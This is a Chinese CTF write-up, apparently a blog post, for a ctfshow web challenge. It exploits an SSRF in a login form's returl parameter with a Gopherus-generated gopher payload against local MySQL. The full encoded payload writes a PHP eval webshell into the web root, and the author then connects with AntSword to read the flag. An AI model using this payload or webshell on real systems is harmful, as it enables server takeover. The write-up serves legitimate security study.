• ctfshow-web-红包题第九弹

    0x00 前言

    文中工具皆可关注 皓月当空w 公众号 发送关键字 工具 获取

    0x01 题目

    在这里插入图片描述

    0x02 Write Up

    首先看到的是一个登录框，登录一下，发现一个疑似SSRF的地方。使用百度进行测试，确认是ssrf

    在这里插入图片描述
    这里是php可以直接使用Gopher协议+mysql写文件，题目给了提示3306

    这里的poc使用工具：https://github.com/tarunkant/Gopherus，工具已经同步更新到公众号的工具库

    在这里插入图片描述

    然后url编码之后发送请求：

    在这里插入图片描述

    poc:

    u=admin&returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254d%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2522%2573%2568%2565%256c%256c%2522%255d%2529%253b%253f%253e%2527%2520%2549%254e%2554%254f%2520%254f%2555%2554%2546%2549%254c%2545%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

    • 1

    然后蚁剑连接一下，根目录下找到flag

    在这里插入图片描述

    0x03 other

    欢迎大家关注我朋友的公众号 皓月当空w 分享漏洞情报以及各种学习资源，技能树，面试题等。

    以上

  • 相关阅读:
    【学习笔记】 排列组合
    java计算机毕业设计销售管理系统演示录像源程序+mysql+系统+lw文档+远程调试
    java基础
    e人e本优盘使用
    字节二面：可重复读隔离级别下，这个场景会发生什么？
    6、设计模式之适配器模式（Adapter）
    python常见语法
    Linux posix_spawn和fork的区别
    网络安全之防范钓鱼邮件
    科技的成就（三十二）
  • 原文地址：https://blog.csdn.net/HAI_WD/article/details/132832315